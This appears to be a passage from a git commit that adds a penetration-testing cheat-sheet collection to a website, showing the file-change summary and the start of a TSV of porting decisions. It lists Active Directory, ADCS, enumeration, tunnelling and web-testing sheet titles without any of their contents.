Asrc/content/sheets/active-directory/attack-30-esc4-template-write-permissions.md | 120+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-31-esc6-editf-attributesubjectaltname2-flag.md | 93+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-32-esc7-vulnerable-ca-officer-permissions.md | 120+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-33-esc8-ntlm-relay-to-adcs-http-endpoint.md | 135+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-34-esc11-ntlm-relay-to-adcs-rpc.md | 80+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-35-golden-certificate-attack.md | 135+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-36-certifried-cve-2022-26923.md | 102+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-37-dcsync-attack.md | 735+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-38-dcshadow-attack.md | 417+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-39-ntds-dit-extraction-and-dumping.md | 457+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-4-pass-the-hash-pth.md | 463+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-40-zerologon-cve-2020-1472.md | 380+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-41-petitpotam-cve-2021-36942.md | 405+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-42-printerbug-spoolsample.md | 389+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-43-printnightmare-cve-2021-34527.md | 390+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-44-nopac-sam-the-admin-cve-2021-42278-42287.md | 423+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-45-token-impersonation-seimpersonateprivilege.md | 328+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-46-dnsadmins-dll-injection.md | 82+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-47-machineaccountquota-maq-abuse.md | 81+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-48-gpp-password-decryption.md | 78++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-49-abusing-backup-operators-group.md | 92+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-5-pass-the-ticket-ptt.md | 467+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-50-abusing-account-operators-group.md | 76++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-51-abusing-server-operators-group.md | 71+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-52-abusing-print-operators-group.md | 69+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-53-exchange-windows-permissions-writedacl-to-dcsync.md | 83+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-54-psexec-remote-execution-via-smb.md | 320+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-55-winrm-evil-winrm-lateral-movement.md | 65+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-56-rdp-lateral-movement-and-hijacking.md | 76++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-57-dcom-lateral-movement.md | 65+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-58-wmi-lateral-movement.md | 64++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-59-scm-service-manager-lateral-movement.md | 65+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-6-overpass-the-hash-pass-the-key.md | 451+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-60-token-stealing-and-impersonation.md | 90+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-61-skeleton-key-attack.md | 88+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-62-dsrm-backdoor-abuse.md | 82+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-63-sid-history-injection.md | 78++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-64-golden-ticket-persistence.md | 77+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-65-acl-backdooring-persistence-via-dcsync-ace.md | 81+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-66-malicious-gpo-creation.md | 82+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-67-adcs-certificate-based-persistence.md | 82+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-68-cross-domain-trust-abuse-sid-history.md | 90+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-69-forest-trust-abuse-cross-forest-ticket-forging.md | 87+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-7-ntlm-relay-attacks.md | 526+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-70-adcs-cross-domain-enrollment.md | 70++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-71-pam-trust-abuse-bastion-forest.md | 79+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-72-laps-password-extraction.md | 84+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-73-gmsa-password-extraction.md | 84+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-74-azure-ad-connect-credential-extraction.md | 79+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-75-sccm-mecm-exploitation.md | 82+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-76-mssql-server-and-linked-server-abuse.md | 109+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-77-dfscoerce-ms-dfsnm-coercion.md | 71+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-78-ad-recycle-bin-object-abuse.md | 99+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-8-llmnr-nbt-ns-mdns-poisoning.md | 514+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack-9-mitm6-ipv6-dns-spoofing-dhcpv6-takeover.md | 517+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/attack.md | 11+++++++++++
Asrc/content/sheets/active-directory/bloodhound-ce-python.md | 239+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/bloodhound-python.md | 804+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/certificate-persistence-certifried-cve-2022-26923.md | 415+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/certipy-ad.md | 703+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/dpersist2-rogue-ca-certificate-ntauth-injection.md | 117+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/dpersist3-malicious-misconfiguration-acl-backdoor.md | 102+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc1-san-specification-in-template.md | 308+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc10-weak-certificate-mapping.md | 222+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc11-ntlm-relay-to-adcs-rpc-icpr.md | 375+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc12-shell-access-to-ca-with-yubihsm.md | 196+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc13-issuance-policy-oid-group-link.md | 231+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc14-weak-explicit-certificate-mapping.md | 254+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc15-ekuwu-cve-2024-49019.md | 282+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc16-security-extension-disabled-on-ca-globally.md | 283+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc17-adcs-certificate-spoofing-to-attack-https-enabled-wsus-clients.md | 275+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc2-any-purpose-eku-no-eku-the-swiss-certificate.md | 287+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc3-misconfigured-enrollment-agent-templates.md | 333+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc4-vulnerable-certificate-template-access-control.md | 342+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc5-vulnerable-pki-object-access-control.md | 227+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc6-editf-attributesubjectaltname2-flag.md | 333+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc7-vulnerable-ca-access-control-manageca-managecertificates.md | 445+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc8-ntlm-relay-to-adcs-http-web-enrollment.md | 373+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/esc9-no-security-extension-template-level.md | 495+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/faketime.md | 223+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/golden-certificate-attack-dpersist1.md | 325+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/kerberoasting-local-on-host.md | 322+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/ldap-search.md | 404+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/ldapdomaindump.md | 573+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/persist1-active-user-credential-theft-via-certificates.md | 92+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/persist2-machine-account-persistence-via-certificates.md | 89+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/persist3-account-persistence-via-certificate-renewal.md | 93+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/shadow-credentials-msds-keycredentiallink-abuse.md | 177+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/sharphound.md | 680+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/theft1-exporting-certificates-and-keys.md | 124+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/theft2-user-certificate-theft-via-dpapi.md | 111+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/theft3-machine-certificate-theft-via-dpapi.md | 100+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/theft4-finding-certificate-files.md | 111+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/active-directory/theft5-ntlm-theft-via-pkinit-unpac-the-hash.md | 120+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/enumeration/2-4-cheatsheet-gitleaks.md | 440+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/enumeration/2-5-cheatsheet-trufflehog.md | 587+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/enumeration/anonymous-null-testing.md | 1014+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/enumeration/awesome-nmap-grep.md | 281+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/enumeration/cheatsheet-infrastructure-enumeration-tools-1.md | 608+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/enumeration/credential-hunting.md | 801+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/enumeration/lfi.md | 87+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/enumeration/nikto-nuclei-web-scanner-cheatsheets.md | 942+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/enumeration/nse-guide.md | 1536+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/enumeration/windows-enumeration.md | 559+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/exploitation/jailbreak-tty-upgrade.md | 2221+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/exploitation/sqlmap-cheat-sheet-sql-injection-testing-data-extraction.md | 506+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/exploitation/tty-and-escaping-restricted-env.md | 810+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/git-workflow/git-complete-branch-vault-management-guide.md | 622+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/git-workflow/git-move-existing-edits-to-a-new-branch-railway-site.md | 119+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/linux-it/find-command.md | 463+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/linux-it/linux-file-directory-search.md | 812+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/linux-it/macos-iso-to-usb.md | 314+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/linux-it/macos-terminal-tweaks.md | 792+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/linux-it/rdp.md | 304+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/tools/dd-tool.md | 646+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/tools/internet-archival-guide.md | 608+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/tools/netexec-spiderplus.md | 566+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/tools/pcap-credential-extraction.md | 381+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/tools/smbserver-py.md | 123+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/tools/smbshare.md | 98+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/tools/sponge.md | 485+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/tools/tar.md | 1086+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/tools/username-anarchy.md | 11+++++++++++
Asrc/content/sheets/tools/webfuzz.md | 266+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/tunneling-pivoting/pivoting-and-tunnelling.md | 784+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/tunneling-pivoting/ssh-portfwding-with-metasploit.md | 457+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/tunneling-pivoting/tunneling.md | 1480+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/web/blind-xss-tool-ezxss.md | 393+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/web/blind-xss-tool-interactsh.md | 449+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/web/blind-xss-tool-xss-hunter.md | 352+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/web/phishing-site-link-identification.md | 496+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Msrc/layouts/Base.astro | 38++++++++++++++++++++++++++++++--------
160 files changed, 51948 insertions(+), 10 deletions(-)

diff --git a/port-vault-decisions.tsv b/port-vault-decisions.tsv @@ -0,0 +1,225 @@ +decision category slug title source reason +ADD active-directory certificate-persistence-certifried-cve-2022-26923 Certificate Persistence — Certifried (CVE-2022-26923) ActiveDirectory/ACL-ESC-Techniques/Certificate Persistence — Certifried (CVE-2022-26923).md advanced · 5 tools +ADD active-directory dpersist2-rogue-ca-certificate-ntauth-injection DPERSIST2 — Rogue CA Certificate (NTAuth Injection) ActiveDirectory/ACL-ESC-Techniques/DPERSIST2 — Rogue CA Certificate (NTAuth Injection).md advanced · 3 tools +ADD active-directory dpersist3-malicious-misconfiguration-acl-backdoor DPERSIST3 — Malicious Misconfiguration (ACL Backdoor) ActiveDirectory/ACL-ESC-Techniques/DPERSIST3 — Malicious Misconfiguration (ACL Backdoor).md advanced · 2 tools +ADD active-directory esc1-san-specification-in-template ESC1 — SAN Specification in Template ActiveDirectory/ACL-ESC-Techniques/ESC1 — SAN Specification in Template.md advanced · 5 tools +ADD active-directory esc10-weak-certificate-mapping ESC10 — Weak Certificate Mapping ActiveDirectory/ACL-ESC-Techniques/ESC10 — Weak Certificate Mapping.md advanced · 4 tools +ADD active-directory esc11-ntlm-relay-to-adcs-rpc-icpr ESC11 — NTLM Relay to ADCS RPC (ICPR) ActiveDirectory/ACL-ESC-Techniques/ESC11 — NTLM Relay to ADCS RPC (ICPR).md advanced · 5 tools +ADD active-directory esc12-shell-access-to-ca-with-yubihsm ESC12 — Shell Access to CA with YubiHSM ActiveDirectory/ACL-ESC-Techniques/ESC12 — Shell Access to CA with YubiHSM.md advanced · 3 tools +ADD active-directory esc13-issuance-policy-oid-group-link ESC13 — Issuance Policy OID Group Link ActiveDirectory/ACL-ESC-Techniques/ESC13 — Issuance Policy OID Group Link.md advanced · 5 tools +ADD active-directory esc14-weak-explicit-certificate-mapping ESC14 — Weak Explicit Certificate Mapping ActiveDirectory/ACL-ESC-Techniques/ESC14 — Weak Explicit Certificate Mapping.md advanced · 5 tools +ADD active-directory esc15-ekuwu-cve-2024-49019 ESC15 — EKUwu (CVE-2024-49019) ActiveDirectory/ACL-ESC-Techniques/ESC15 — EKUwu (CVE-2024-49019).md advanced · 5 tools +ADD active-directory esc16-security-extension-disabled-on-ca-globally ESC16 — Security Extension Disabled on CA (Globally) ActiveDirectory/ACL-ESC-Techniques/ESC16 — Security Extension Disabled on CA (Globally).md advanced · 5 tools +ADD active-directory esc17-adcs-certificate-spoofing-to-attack-https-enabled-wsus-clients ESC17 — ADCS Certificate Spoofing to Attack HTTPS-Enabled WSUS Clients ActiveDirectory/ACL-ESC-Techniques/ESC17 — ADCS Certificate Spoofing to Attack HTTPS-Enabled WSUS Clients.md advanced · 5 tools +ADD active-directory esc2-any-purpose-eku-no-eku-the-swiss-certificate ESC2 — Any Purpose EKU No EKU (The Swiss Certificate) ActiveDirectory/ACL-ESC-Techniques/ESC2 — Any Purpose EKU No EKU (The Swiss Certificate).md advanced · 5 tools +ADD active-directory esc3-misconfigured-enrollment-agent-templates ESC3 — Misconfigured Enrollment Agent Templates ActiveDirectory/ACL-ESC-Techniques/ESC3 — Misconfigured Enrollment Agent Templates.md advanced · 5 tools +ADD active-directory esc4-vulnerable-certificate-template-access-control ESC4 — Vulnerable Certificate Template Access Control ActiveDirectory/ACL-ESC-Techniques/ESC4 — Vulnerable Certificate Template Access Control.md advanced · 5 tools +ADD active-directory esc5-vulnerable-pki-object-access-control ESC5 — Vulnerable PKI Object Access Control ActiveDirectory/ACL-ESC-Techniques/ESC5 — Vulnerable PKI Object Access Control.md advanced · 5 tools +ADD active-directory esc6-editf-attributesubjectaltname2-flag ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 Flag ActiveDirectory/ACL-ESC-Techniques/ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 Flag.md advanced · 5 tools +ADD active-directory esc7-vulnerable-ca-access-control-manageca-managecertificates ESC7 — Vulnerable CA Access Control (ManageCA ManageCertificates) ActiveDirectory/ACL-ESC-Techniques/ESC7 — Vulnerable CA Access Control (ManageCA ManageCertificates).md advanced · 5 tools +ADD active-directory esc8-ntlm-relay-to-adcs-http-web-enrollment ESC8 — NTLM Relay to ADCS HTTP Web Enrollment ActiveDirectory/ACL-ESC-Techniques/ESC8 — NTLM Relay to ADCS HTTP Web Enrollment.md advanced · 5 tools +ADD active-directory esc9-no-security-extension-template-level ESC9 — No Security Extension (Template-Level) ActiveDirectory/ACL-ESC-Techniques/ESC9 — No Security Extension (Template-Level).md advanced · 5 tools +ADD active-directory golden-certificate-attack-dpersist1 Golden Certificate Attack — DPERSIST1 ActiveDirectory/ACL-ESC-Techniques/Golden Certificate Attack — DPERSIST1.md advanced · 5 tools +ADD active-directory persist1-active-user-credential-theft-via-certificates PERSIST1 — Active User Credential Theft via Certificates ActiveDirectory/ACL-ESC-Techniques/PERSIST1 — Active User Credential Theft via Certificates.md advanced · 3 tools +ADD active-directory persist2-machine-account-persistence-via-certificates PERSIST2 — Machine Account Persistence via Certificates ActiveDirectory/ACL-ESC-Techniques/PERSIST2 — Machine Account Persistence via Certificates.md advanced · 3 tools +ADD active-directory persist3-account-persistence-via-certificate-renewal PERSIST3 — Account Persistence via Certificate Renewal ActiveDirectory/ACL-ESC-Techniques/PERSIST3 — Account Persistence via Certificate Renewal.md advanced · 3 tools +ADD active-directory shadow-credentials-msds-keycredentiallink-abuse Shadow Credentials — msDS-KeyCredentialLink Abuse ActiveDirectory/ACL-ESC-Techniques/Shadow Credentials — msDS-KeyCredentialLink Abuse.md advanced · 4 tools +ADD active-directory theft1-exporting-certificates-and-keys THEFT1 — Exporting Certificates and Keys ActiveDirectory/ACL-ESC-Techniques/THEFT1 — Exporting Certificates and Keys.md advanced · 4 tools +ADD active-directory theft2-user-certificate-theft-via-dpapi THEFT2 — User Certificate Theft via DPAPI ActiveDirectory/ACL-ESC-Techniques/THEFT2 — User Certificate Theft via DPAPI.md advanced · 4 tools +ADD active-directory theft3-machine-certificate-theft-via-dpapi THEFT3 — Machine Certificate Theft via DPAPI ActiveDirectory/ACL-ESC-Techniques/THEFT3 — Machine Certificate Theft via DPAPI.md advanced · 3 tools +ADD active-directory theft4-finding-certificate-files THEFT4 — Finding Certificate Files ActiveDirectory/ACL-ESC-Techniques/THEFT4 — Finding Certificate Files.md advanced · 5 tools +ADD active-directory theft5-ntlm-theft-via-pkinit-unpac-the-hash THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash) ActiveDirectory/ACL-ESC-Techniques/THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash).md advanced · 5 tools +SKIP ActiveDirectory/ACL-ESC-Techniques/_ADCS Attack Methodology Guide.md non-sheet (meta/index/roadmap) +SKIP ActiveDirectory/ACL-ESC-Techniques/_ADCS Dashboard.md non-sheet (meta/index/roadmap) +SKIP ActiveDirectory/ACL-ESC-Techniques/_ADCS ESC Attack Index.md non-sheet (meta/index/roadmap) +ADD active-directory attack-61-skeleton-key-attack Attack #61 — Skeleton Key Attack ActiveDirectory/AD-Attack/Category-Eight/🟤 Attack #61 — Skeleton Key Attack.md advanced · 2 tools +ADD active-directory attack-62-dsrm-backdoor-abuse Attack #62 — DSRM Backdoor Abuse ActiveDirectory/AD-Attack/Category-Eight/🟤 Attack #62 — DSRM Backdoor Abuse.md advanced · 3 tools +ADD active-directory attack-63-sid-history-injection Attack #63 — SID History Injection ActiveDirectory/AD-Attack/Category-Eight/🟤 Attack #63 — SID History Injection.md advanced · 2 tools +ADD active-directory attack-64-golden-ticket-persistence Attack #64 — Golden Ticket Persistence ActiveDirectory/AD-Attack/Category-Eight/🟤 Attack #64 — Golden Ticket Persistence.md advanced · 3 tools +ADD active-directory attack-65-acl-backdooring-persistence-via-dcsync-ace Attack #65 — ACL Backdooring (Persistence via DCSync ACE) ActiveDirectory/AD-Attack/Category-Eight/🟤 Attack #65 — ACL Backdooring (Persistence via DCSync ACE).md advanced · 1 tools +ADD active-directory attack-66-malicious-gpo-creation Attack #66 — Malicious GPO Creation ActiveDirectory/AD-Attack/Category-Eight/🟤 Attack #66 — Malicious GPO Creation.md advanced · 2 tools +ADD active-directory attack-67-adcs-certificate-based-persistence Attack #67 — ADCS Certificate-Based Persistence ActiveDirectory/AD-Attack/Category-Eight/🟤 Attack #67 — ADCS Certificate-Based Persistence.md advanced · 4 tools +ADD active-directory attack-37-dcsync-attack Attack #37 — DCSync Attack ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #37 — DCSync Attack.md advanced · 5 tools +ADD active-directory attack-38-dcshadow-attack Attack #38 — DCShadow Attack ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #38 — DCShadow Attack.md advanced · 3 tools +ADD active-directory attack-39-ntds-dit-extraction-and-dumping Attack #39 — NTDS.dit Extraction and Dumping ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #39 — NTDS.dit Extraction and Dumping.md advanced · 3 tools +ADD active-directory attack-40-zerologon-cve-2020-1472 Attack #40 — Zerologon (CVE-2020-1472) ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #40 — Zerologon (CVE-2020-1472).md advanced · 4 tools +ADD active-directory attack-41-petitpotam-cve-2021-36942 Attack #41 — PetitPotam (CVE-2021-36942) ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #41 — PetitPotam (CVE-2021-36942).md advanced · 5 tools +ADD active-directory attack-42-printerbug-spoolsample Attack #42 — PrinterBug SpoolSample ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #42 — PrinterBug SpoolSample.md advanced · 5 tools +ADD active-directory attack-43-printnightmare-cve-2021-34527 Attack #43 — 